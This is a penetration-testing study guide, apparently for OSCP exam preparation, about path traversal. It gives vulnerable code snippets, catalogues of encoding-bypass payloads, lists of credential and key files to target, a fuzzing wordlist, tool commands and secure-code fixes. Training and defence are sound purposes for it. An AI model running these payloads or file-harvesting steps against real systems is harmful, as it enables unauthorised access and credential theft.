Domain 2Web App AttacksCORE

Path Traversal

Deep guide to path traversal attacks with encoding bypass techniques, sensitive file targets across OS platforms, null byte truncation, and systematic exploitation methodology for OSCP.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#Path Traversal#Directory Traversal#File Read#Encoding Bypass#OSCP

Path Traversal (Directory Traversal)

Path traversal, also known as directory traversal, is a web application vulnerability that allows an attacker to read (and sometimes write) files and directories stored outside the intended web root. By manipulating file path parameters with sequences like ../, the attacker can navigate the server’s filesystem hierarchy and access sensitive configuration files, credentials, source code, and system files.

This is one of the most frequently tested web vulnerabilities on the OSCP exam. Machines like Hackable, Templated, OpenNote, and Author have featured path traversal as a primary or secondary attack vector.


1. How Path Traversal Works

1.1 The Root Cause

Path traversal exploits the gap between how an application constructs a file path and how the operating system resolves it. The vulnerability exists when:

  1. The application accepts user input that influences a file path (filename, directory, template name, image path, etc.)
  2. The application concatenates this input with a base directory to form a full path
  3. The application fails to sanitize or validate the user input before passing it to filesystem operations

1.2 Vulnerable Code Patterns

PHP:

// Vulnerable: user controls $file directly
$file = $_GET['file'];
readfile("uploads/" . $file);

// Vulnerable: include with user input
include($_GET['page'] . '.php');

// Vulnerable: image display
$img = $_GET['img'];
header("Content-Type: image/jpeg");
readfile("/var/www/images/" . $img);

Python (Flask):

# Vulnerable: send_file with user input
@app.route('/download')
def download():
    filename = request.args.get('name')
    return send_file(f'/uploads/{filename}')

Java:

// Vulnerable: file path from request parameter
String filename = request.getParameter("report");
File f = new File("/reports/" + filename);
// reads file without validation

Node.js (Express):

// Vulnerable: path join without validation
app.get('/view', (req, res) => {
    const file = req.query.file;
    res.sendFile(path.join(__dirname, 'docs', file));
});

1.3 Path Resolution Mechanics

When the application constructs a path like:

Base: /var/www/html/uploads/
Input: ../../../../etc/passwd
Result: /var/www/html/uploads/../../../../etc/passwd
OS resolves to: /etc/passwd

Each ../ moves up one directory level. The OS filesystem resolves the canonical path, effectively escaping the intended base directory. The number of ../ sequences needed depends on how deep the base directory is nested.


2. Complete Encoding Bypass Catalog

Applications often implement filters that block literal ../ sequences. Attackers bypass these filters using various encoding schemes. The key insight: the filter may operate on the raw request string, but the web server or application framework decodes the string before filesystem resolution.

2.1 URL Encoding (Percent Encoding)

The most common bypass. Each character is replaced with % followed by its two-digit hexadecimal ASCII value.

Character URL Encoded Notes
. %2e Period
/ %2f Forward slash
\ %5c Backslash (Windows)
% %25 Percent sign (for double encoding)

Payloads:

%2e%2e%2f          →  ../
%2e%2e/            →  ../
..%2f              →  ../
%2e%2e%5c          →  ..\  (Windows)

2.2 Double URL Encoding

The percent sign itself is encoded, creating a second layer. If the application performs two rounds of URL decoding (common in some frameworks), the double-encoded payload survives the first filter and resolves on the second decode.

%252e%252e%252f    →  First decode: %2e%2e%2f  →  Second decode: ../
%252e%252e%255c    →  First decode: %2e%2e%5c  →  Second decode: ..\

Full payload example:

%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

2.3 UTF-8 Overlong Encoding

UTF-8 allows certain characters to be represented with more bytes than necessary (overlong encoding). These are non-canonical but may be accepted by decoders.

Character Normal UTF-8 Overlong UTF-8
. (0x2E) %2e %c0%ae
/ (0x2F) %2f %c0%af
\ (0x5C) %5c %c0%9c

Payloads:

%c0%ae%c0%ae%c0%af           →  ../
%c0%ae%c0%ae/                →  ../
%c0%ae%c0%ae%c0%9c           →  ..\  (Windows)

2.4 UTF-16 Encoding

Characters are encoded as 16-bit values with a byte order mark (BOM).

BOM Type Encoding Payload for ..
Big-endian %fe%fe prefix %fe%fe%00%2e%00%2e
Little-endian %ff%fe prefix %ff%fe%2e%00%2e%00

Full payloads:

%fe%fe%00%2e%00%2e%00/%00           →  UTF-16 BE: ../
%ff%fe%2e%00%2e%00%2f%00            →  UTF-16 LE: ../

2.5 Unicode and Alternative Encodings

Encoding Payload Description
Unicode backslash ..%5c Windows path separator
Unicode dot %u002e%u002e%u002f Unicode escape sequence
Double-escaped Unicode %25u002e%25u002e Double-encoded Unicode
ISO-8859-1 %2e%2e%2f Same as URL encoding for ASCII range

2.6 IIS-Specific Bypasses

Microsoft IIS historically accepted special Unicode paths:

..%c1%9c          →  IIS interprets as ..\
..%c0%af          →  IIS interprets as ../

2.7 Encoding Bypass Decision Matrix

Use this table to select encoding strategies based on observed filtering behavior:

Filter Blocks Try This Encoding Reason
Literal ../ %2e%2e%2f Single URL encoding
%2e%2e%2f %252e%252e%252f Double URL encoding
Both above %c0%ae%c0%ae%c0%af UTF-8 overlong
Forward slash / %5c (backslash) Windows alternative separator
Backslash \ %2f (forward slash) Linux alternative
All single encodings %fe%fe%00%2e%00%2e UTF-16 encoding
Known patterns Mix encodings %2e%2e/%2e%2e%2f..%5c

3. Sensitive File Targets

3.1 Linux System Files

Authentication and User Information

File What It Reveals OSCP Value
/etc/passwd User accounts, UIDs, shells, home directories Critical - enumerate users for brute force
/etc/shadow Password hashes (root-only) High - crack hashes offline
/etc/group Group memberships Medium - identify privileged groups
/etc/sudoers Sudo permissions Critical - privilege escalation path
/root/.ssh/authorized_keys SSH public keys High - identify trusted hosts
/root/.bash_history Root command history Critical - find credentials, commands
~/.bash_history User command history High - find application credentials
~/.ssh/id_rsa SSH private key Critical - direct SSH access
~/.ssh/id_ed25519 SSH private key (Ed25519) Critical - direct SSH access
~/.gnupg/gpg-agent-info GPG agent socket info Medium

Service Configuration

File What It Reveals OSCP Value
/etc/hosts Hostname-to-IP mappings Medium - discover internal hosts
/etc/resolv.conf DNS server configuration Low - network info
/etc/crontab Scheduled tasks High - find automation scripts with creds
/var/spool/cron/crontabs/root Root crontab Critical - persistence + creds
/etc/fstab Mounted filesystems Medium - disk layout
/etc/shells Valid login shells Low
/etc/mysql/my.cnf MySQL configuration High - DB credentials
/etc/postgresql/*/postgresql.conf PostgreSQL config High - DB credentials
/etc/redis/redis.conf Redis configuration Medium

Application and Web Server Configs

File What It Reveals OSCP Value
/var/www/html/.env Environment variables Critical - DB creds, API keys
/var/www/html/config.php PHP application config Critical - DB creds, secrets
/var/www/html/wp-config.php WordPress config Critical - DB creds, salts
/var/www/html/configuration.php Joomla config High
/var/www/html/config/database.yml Rails database config Critical
/var/www/html/src/main/resources/application.yml Spring Boot config Critical
/etc/apache2/apache2.conf Apache configuration Medium - virtual hosts, paths
/etc/apache2/sites-enabled/* Apache virtual hosts High - discover hidden apps
/etc/nginx/nginx.conf Nginx configuration Medium
/etc/nginx/sites-enabled/* Nginx virtual hosts High

Logs and Runtime Information

File What It Reveals OSCP Value
/proc/self/environ Process environment variables Critical - may contain creds
/proc/version Kernel version Medium - kernel exploit research
/proc/self/cmdline Current process command line High - running process info
/proc/self/status Process status details Medium
/proc/self/fd/0 File descriptor 0 (stdin) Medium
/var/log/auth.log Authentication logs High - successful logins
/var/log/syslog System logs Medium
/var/log/apache2/access.log Apache access logs Medium - URL patterns
/var/log/apache2/error.log Apache error logs High - stack traces, paths
/var/log/nginx/access.log Nginx access logs Medium
/var/log/mysql/error.log MySQL error logs Medium

3.2 Windows System Files

System Configuration

File What It Reveals OSCP Value
C:\Windows\win.ini Windows configuration Proof of traversal
C:\Windows\System32\drivers\etc\hosts Host mappings Discover internal hosts
C:\Windows\System32\inetsrv\config\applicationHost.config IIS config Critical - app pool identities, creds
C:\boot.ini Boot configuration (older Windows) OS version info
C:\Windows\win.ini Basic Windows config Proof of concept
C:\Windows\Panther\Unattend.xml Unattended install config Critical - may contain admin password
C:\Windows\Panther\Unattend\Unattend.xml Unattended install config Critical
C:\Windows\System32\config\SAM SAM database (requires SYSTEM) Password hashes
C:\Windows\System32\config\SYSTEM Registry SYSTEM hive Boot keys for SAM

User Files

File What It Reveals OSCP Value
C:\Users\<user>\NTUSER.DAT User registry hive Stored credentials
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt PowerShell history Critical - commands with creds
C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\ IE cache Cached credentials
C:\Users\<user>\Desktop\ Desktop files May contain sensitive docs

Application Configuration

File What It Reveals OSCP Value
web.config ASP.NET application config Critical - connection strings, keys
C:\inetpub\wwwroot\web.config Default IIS web config Connection strings
application.yml Java/Spring config DB credentials
appsettings.json .NET Core config API keys, secrets
.env Environment variables Critical - all secrets

3.3 Cross-Platform Application Files

These files appear on both Linux and Windows and are high-value OSCP targets:

File Framework/Platform What It Reveals
.env Any (Node, PHP, Python, Ruby) Database URLs, API keys, JWT secrets
.git/config Git repositories Remote URLs, user identity
.git/HEAD Git repositories Current branch reference
composer.json PHP (Composer) Dependencies, scripts
package.json Node.js Dependencies, scripts
requirements.txt Python Dependencies
Dockerfile Docker Build instructions, exposed ports
.dockerignore Docker Ignored files (may reveal secrets)
ansible.cfg Ansible Configuration, vault settings
.aws/credentials AWS CLI AWS access keys
.kube/config Kubernetes Cluster credentials

4. Null Byte Traversal

4.1 The Technique

Null byte truncation (%00) exploits how certain languages and libraries handle string termination. In C-based languages (and PHP < 5.3.4), the null byte (\0, ASCII 0x00) terminates a string. This allows an attacker to truncate a file extension appended by the application.

How it works:

Application code:   readfile($user_input . ".jpg");
Attacker input:     ../../etc/passwd%00
Result in memory:   ../../etc/passwd\0.jpg
OS sees:            ../../etc/passwd    (string terminated at \0)

The .jpg extension is effectively dropped because the null byte terminates the string before the extension is processed by the filesystem API.

4.2 Version Dependencies

Technology Vulnerable Versions Patched In
PHP < 5.3.4 5.3.4+ (null bytes stripped from filenames)
PHP (magic_quotes_gpc) Any (if enabled, blocks null bytes) N/A - deprecated
Python N/A (Python strings don’t null-terminate) N/A
Java N/A (Java strings don’t null-terminate) N/A
C/C++ All (inherent to language) Requires manual fix
Node.js < 0.10.15 (some bindings) 0.10.15+

4.3 Null Byte Payloads

../../../../etc/passwd%00
../../../../etc/passwd%00.jpg
..\..\..\..\windows\win.ini%00
..\..\..\..\windows\win.ini%00.png

4.4 When to Try Null Bytes

Use null byte truncation when:

  • The application appends a file extension to user input
  • Basic traversal returns “file not found” or “invalid file type”
  • The target runs PHP < 5.3.4 (common on older OSCP machines)
  • Error messages suggest the full path includes an unexpected extension

5. Path Traversal vs. Local File Inclusion (LFI)

While both vulnerabilities involve reading local files, they have distinct characteristics:

5.1 Key Differences

Aspect Path Traversal Local File Inclusion (LFI)
Mechanism File read operations (readfile, send_file, open) Code inclusion (include, require, require_once)
Primary Impact Information disclosure Information disclosure + Remote Code Execution
Code Execution No (read-only) Yes (included file executes as code)
PHP Wrappers Limited usefulness Critical (php://filter, php://input, data://)
Log Poisoning Not applicable Primary RCE vector
Typical Parameters file=, path=, document=, image=, template= page=, file=, include=, module=, lang=

5.2 The Overlap

In practice, the same traversal techniques (../, encoding bypasses, null bytes) apply to both. The distinction matters for:

  1. Impact assessment: LFI can lead to RCE; path traversal is typically read-only
  2. Payload selection: LFI allows PHP wrapper payloads; path traversal does not
  3. Exploitation strategy: LFI enables log poisoning chains; path traversal focuses on credential harvesting

5.3 When Path Traversal Becomes LFI

If you discover a path traversal vulnerability and the underlying function is include() or require() rather than readfile() or file_get_contents(), you have effectively found an LFI. Always test for LFI escalation after confirming path traversal:

# Test if inclusion executes code
?page=php://filter/convert.base64-encode/resource=config

# If base64-encoded PHP source is returned, it's LFI
# If nothing happens or you get an error, it's likely just path traversal

6. Systematic Testing Methodology

6.1 Phase 1: Reconnaissance

Step 1: Identify file-handling parameters

Look for parameters that reference files, paths, or documents:

Common parameter names:
- file, path, document, page, include, module
- image, img, pic, photo, picture
- template, tpl, theme, skin, style
- download, export, import, load
- view, read, open, display, show
- config, conf, setting, setup
- lang, language, locale
- dir, folder, directory, destination
- name, filename, fname, source

Step 2: Determine the base path

Send a normal request and observe the response to understand the expected file location:

GET /api/download?file=report.pdf HTTP/1.1

If the response is a PDF, the application is reading from a known directory. Note the response behavior for valid vs. invalid files.

6.2 Phase 2: Basic Traversal Testing

Step 3: Test with increasing traversal depth

GET /api/download?file=../report.pdf
GET /api/download?file=../../report.pdf
GET /api/download?file=../../../report.pdf
GET /api/download?file=../../../../report.pdf
GET /api/download?file=../../../../etc/passwd

Step 4: Analyze responses

Response Meaning Next Action
File content returned Vulnerable Proceed to Phase 3
“File not found” with path in error Likely vulnerable, adjust depth Try more/fewer ../
“File not found” generic May be vulnerable, no info leak Try encoding bypasses
“Access denied” / “Forbidden” Filter in place Try encoding bypasses
Same as normal request Input ignored Try different parameters
Server error (500) Possible vulnerability Try different payloads

6.3 Phase 3: Encoding Bypass Testing

If basic traversal fails, systematically try encoding bypasses:

# URL encoding
GET /api/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Double URL encoding
GET /api/download?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd

# UTF-8 overlong
GET /api/download?file=%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

# Mixed encoding
GET /api/download?file=..%2f..%2f..%2f..%2fetc/passwd

# Backslash (Windows)
GET /api/download?file=..%5c..%5c..%5c..%5cwindows%5cwin.ini

# Null byte truncation
GET /api/download?file=../../../../etc/passwd%00

6.4 Phase 4: Target Enumeration

Once traversal works, systematically read high-value files:

# Linux - start with /etc/passwd for user enumeration
../../../../etc/passwd

# Look for application configs
../../../../var/www/html/.env
../../../../var/www/html/config.php
../../../../var/www/html/wp-config.php

# Check for credentials in logs
../../../../var/log/auth.log
../../../../var/log/apache2/error.log

# Check process environment
../../../../proc/self/environ

# Check for SSH keys
../../../../root/.ssh/authorized_keys
../../../../home/<user>/.ssh/id_rsa

6.5 Phase 5: Decision Tree

                    ┌─────────────────────┐
                    │  Found file param?  │
                    └─────────┬───────────┘
                              │ Yes
                    ┌─────────▼───────────┐
                    │  Try ../ traversal  │
                    └─────────┬───────────┘
                    ┌─────────┴───────────┐
                    │                     │
               Returned              Blocked/Error
               content?                  │
                    ┌─────────▼───────────┐
                    │  Try URL encoding   │
                    │  (%2e%2e%2f)        │
                    └─────────┬───────────┘
                    ┌─────────┴───────────┐
                    │                     │
               Worked?               Still blocked?
                    │                     │
                    │              ┌──────▼───────┐
                    │              │ Try double   │
                    │              │ URL encoding │
                    │              └──────┬───────┘
                    │              ┌──────┴───────┐
                    │              │              │
                    │         Worked?        Still blocked?
                    │              │              │
                    │              │         ┌────▼─────┐
                    │              │         │ Try UTF-8 │
                    │              │         │ overlong  │
                    │              │         └────┬─────┘
                    │              │         ┌────┴─────┐
                    │              │         │          │
                    │              │      Worked?   Still blocked?
                    │              │         │          │
                    │              │         │      ┌───▼────┐
                    │              │         │      │ Try    │
                    │              │         │      │ null   │
                    │              │         │      │ byte   │
                    │              │         │      └───┬────┘
                    │              │         │      ┌───┴────┐
                    │              │         │      │        │
                    │              │         │     Worked  Exhausted
                    │              │         │         │      │
                    └──────────────┴─────────┴─────────┴──────┘
                              │
                    ┌─────────▼───────────┐
                    │  Read sensitive     │
                    │  files, harvest     │
                    │  credentials        │
                    └─────────────────────┘

7. Automated Tools and Manual Testing

7.1 Burp Suite

Manual Testing:

  1. Intercept a request with a file parameter
  2. Send to Repeater
  3. Iterate through traversal payloads
  4. Compare responses for file content vs. errors

Active Scanner:

  • Burp’s scanner automatically tests for path traversal
  • Look for “Path traversal” findings in the Issues panel
  • Severity: High or Medium depending on impact

Collaborator Integration:

  • For blind path traversal, use Burp Collaborator payloads
  • Useful when file contents are not reflected in responses

7.2 Traversal Specific Tools

Tool Purpose Command Example
dirb Directory/file brute force dirb http://target.com/ -X .php,.txt,.conf
gobuster Directory/file enumeration gobuster dir -u http://target.com/ -w /path/to/wordlist
ffuf Fast fuzzing ffuf -u http://target.com/FUZZ -w traversal.txt
wfuzz Web fuzzer wfuzz -c -z file,traversal.txt -u http://target.com/?file=FUZZ

7.3 Custom Wordlists

Create a traversal-specific wordlist for automated testing:

# traversal-payloads.txt
../
../../
../../../
../../../../
../../../../etc/passwd
../../../../etc/shadow
%2e%2e%2f
%2e%2e/
..%2f
%252e%252e%252f
%c0%ae%c0%ae/
..%5c
..\
....//
..../
..%255c..%255c
../../../../proc/self/environ
../../../../var/www/html/.env
../../../../var/www/html/config.php
../../../../root/.ssh/authorized_keys

7.4 Nmap Scripts

# Nmap http-traversals script
nmap --script http-traversals -p 80,443,8080 <target>

# Nmap http-enum for directory discovery
nmap --script http-enum -p 80,443,8080 <target>

7.5 Manual Testing Checklist

Use this checklist during OSCP exam to ensure thorough coverage:

  • Identify all file-related parameters (GET, POST, headers)
  • Test basic ../ traversal with increasing depth
  • Test URL-encoded traversal (%2e%2e%2f)
  • Test double URL encoding (%252e%252e%252f)
  • Test UTF-8 overlong encoding (%c0%ae%c0%ae/)
  • Test backslash traversal (..%5c) for Windows targets
  • Test null byte truncation (%00)
  • Test mixed encoding combinations
  • Read /etc/passwd or C:\Windows\win.ini for proof
  • Read application config files (.env, config.php, web.config)
  • Read log files for credentials
  • Read /proc/self/environ for environment variables
  • Check if traversal leads to LFI (test PHP wrappers)
  • Document all findings and extracted credentials

8. OSCP Exam Patterns and Scenarios

8.1 Common OSCP Path Traversal Scenarios

Scenario 1: Image/Document Viewer

A web application displays images or documents based on a URL parameter. The parameter is passed directly to a file read function.

GET /view.php?image=../../../../../etc/passwd

Typical machines: Hackable, Templated

Scenario 2: Download Functionality

A download endpoint accepts a filename parameter. The application prepends a directory path but does not validate the filename.

GET /download?file=../../../../../../etc/shadow

Typical machines: OpenNote

Scenario 3: Template/Theme Selection

A CMS or web app allows selecting templates or themes. The template name is used in an include or file read operation.

GET /index.php?template=../../../../../../etc/passwd

Scenario 4: Language/Locale Switching

An application loads language files based on a lang parameter. The language code is concatenated into a file path.

GET /app.php?lang=../../../../../../etc/passwd

Scenario 5: Error Page Information Disclosure

When a traversal attempt fails, the error message reveals the full file path, helping determine the correct number of ../ sequences needed.

Error: File not found: /var/www/html/uploads/../../../../etc/passwd

This tells you the base path is /var/www/html/uploads/, so you need exactly the right number of traversals.

8.2 OSCP-Specific Tips

  1. Always start with /etc/passwd on Linux targets. It’s world-readable and confirms the vulnerability immediately.

  2. Count directory levels carefully. Use error messages to determine the base path depth. If the error shows /var/www/html/uploads/images/, you need at least 4 ../ to reach root.

  3. Check .env files early. Modern applications (Django, Rails, Node.js, Laravel) store database credentials, API keys, and JWT secrets in .env files. This is often the fastest path to credentials.

  4. Read /proc/self/environ on Linux. This file contains the environment variables of the web server process, which may include database passwords, API keys, and internal service URLs.

  5. Look for PHP wrapper payloads if basic traversal works. If the underlying function is include() rather than readfile(), you can escalate to RCE:

    ?page=php://filter/convert.base64-encode/resource=config
  6. Windows targets: Try both forward slash and backslash separators. Also check C:\inetpub\wwwroot\web.config for ASP.NET connection strings.

  7. Null bytes work on older machines. OSCP lab machines sometimes run older software. Always try %00 truncation if the app appends extensions.

  8. Combine with other techniques. Path traversal often feeds into other attack chains:

    • Read credentials → SSH login
    • Read config → discover internal services
    • Read source code → find additional vulnerabilities
    • Read crontab → understand automation for privilege escalation

8.3 Common OSCP File Paths to Memorize

# Linux - must know
/etc/passwd
/etc/shadow
/var/www/html/.env
/var/www/html/config.php
/var/www/html/wp-config.php
/proc/self/environ
/root/.ssh/authorized_keys
/root/.bash_history

# Windows - must know
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
C:\Windows\Panther\Unattend.xml

9. Mitigation Strategies

9.1 Defense-in-Depth Approach

Strategy Implementation Effectiveness
Canonicalize paths Resolve to absolute path, verify it starts with allowed base High
Whitelist filenames Only allow specific, known filenames Highest
Chroot jail Restrict the process to a subdirectory tree High
Remove base directory prefix Strip the known base path from resolved path Medium
Use file IDs Map numeric IDs to files; never use user-supplied paths Highest
Input validation Reject .., /, \, and all encoded variants Medium (encoding bypasses possible)
Allowlist characters Only allow alphanumeric, dots, hyphens in filenames High

9.2 Secure Code Examples

PHP (secure):

// Use a whitelist approach
$allowed_files = ['report.pdf', 'summary.pdf', 'data.csv'];
$file = $_GET['file'];

if (in_array($file, $allowed_files)) {
    $path = '/var/www/documents/' . $file;
    readfile($path);
} else {
    http_response_code(403);
    echo "File not found";
}

Python (secure):

import os

def serve_file(filename):
    base_dir = '/var/www/documents'
    # Resolve to absolute path
    safe_path = os.path.realpath(os.path.join(base_dir, filename))
    # Verify it's still under base_dir
    if not safe_path.startswith(os.path.realpath(base_dir)):
        raise ValueError("Access denied")
    return send_file(safe_path)

Java (secure):

String baseDir = "/var/www/documents";
String filename = request.getParameter("file");
Path basePath = Paths.get(baseDir).toRealPath();
Path requestedPath = basePath.resolve(filename).normalize().toRealPath();

if (!requestedPath.startsWith(basePath)) {
    throw new SecurityException("Path traversal attempt detected");
}

10. Quick Reference Card

Essential Payloads (Memorize for Exam)

# Basic traversal
../../../../etc/passwd
../../../../../../etc/passwd

# URL encoded
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Double URL encoded
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

# UTF-8 overlong
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

# Windows
..%5c..%5c..%5c..%5cwindows%5cwin.ini

# Null byte truncation
../../../../etc/passwd%00

# Mixed encoding
..%2f..%2f..%2f..%2fetc/passwd

High-Value Target Files (Priority Order)

  1. .env files (any location)
  2. /etc/passwd (Linux user enumeration)
  3. Application config files (config.php, web.config, application.yml)
  4. /proc/self/environ (environment variables)
  5. SSH keys (~/.ssh/id_rsa, ~/.ssh/authorized_keys)
  6. Bash history (~/.bash_history)
  7. Database configs (wp-config.php, my.cnf)
  8. Log files (may contain credentials or useful paths)

Testing Order (Exam Efficiency)

  1. Basic ../ → if works, go to step 4
  2. URL encoded %2e%2e%2f → if works, go to step 4
  3. Double encoded %252e%252e%252f → if works, go to step 4
  4. Read /etc/passwd or win.ini for proof
  5. Read .env and config files for credentials
  6. Read /proc/self/environ for hidden secrets
  7. Check if LFI (test PHP wrappers)
  8. Use harvested credentials for next attack phase